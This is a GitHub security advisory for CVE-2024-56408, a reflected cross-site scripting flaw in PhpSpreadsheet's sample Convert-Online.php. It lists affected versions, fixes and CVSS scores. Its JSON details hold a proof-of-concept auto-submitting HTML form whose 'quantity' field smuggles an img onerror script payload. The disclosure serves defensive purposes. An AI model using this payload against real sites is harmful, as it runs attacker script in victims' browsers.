ghsa-x88g-h956-m5xg
Vulnerability from github
Published
2025-01-03 16:05
Modified
2025-01-03 19:17
Severity ?
7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
8.3 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L
Summary
PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
Details

Unauthorized Reflected XSS in Convert-Online.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the quantity variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.

Figure 4. The message with the quantity parameter is displayed without sanitization

The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.

Figure 5. In the server's response , the quantity variable is displayed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability

```

history.pushState('', '', '/'); document.forms[0].submit();

```

After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.

Figure 6. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.29.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-56408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-03T16:05:26Z",
    "nvd_published_at": "2025-01-03T16:15:26Z",
    "severity": "HIGH"
  },
  "details": "# Unauthorized Reflected XSS in `Convert-Online.php` file\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack \n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the quantity variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.\n\n![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077)\n\n*Figure 4. The message with the quantity parameter is displayed without sanitization*\n\n\nThe following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.\n\n\u003cimg width=\"460\" alt=\"fig5\" src=\"https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971\" /\u003e\n\n*Figure 5. In the server\u0027s response , the quantity variable is displayed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"category\" value=\"Weight\u0026#32;and\u0026#32;Mass\" /\u003e\n      \u003cinput type=\"hidden\" name=\"quantity\" value=\"1\u0026#46;0\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"fromUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"toUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submitx\" value=\"Convert\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the user visits the attacker\u0027s resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client\u0027s browser.\n \n\u003cimg width=\"389\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625\" /\u003e\n\n*Figure 6. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
  "id": "GHSA-x88g-h956-m5xg",
  "modified": "2025-01-03T19:17:11Z",
  "published": "2025-01-03T16:05:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-x88g-h956-m5xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56408"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file"
}


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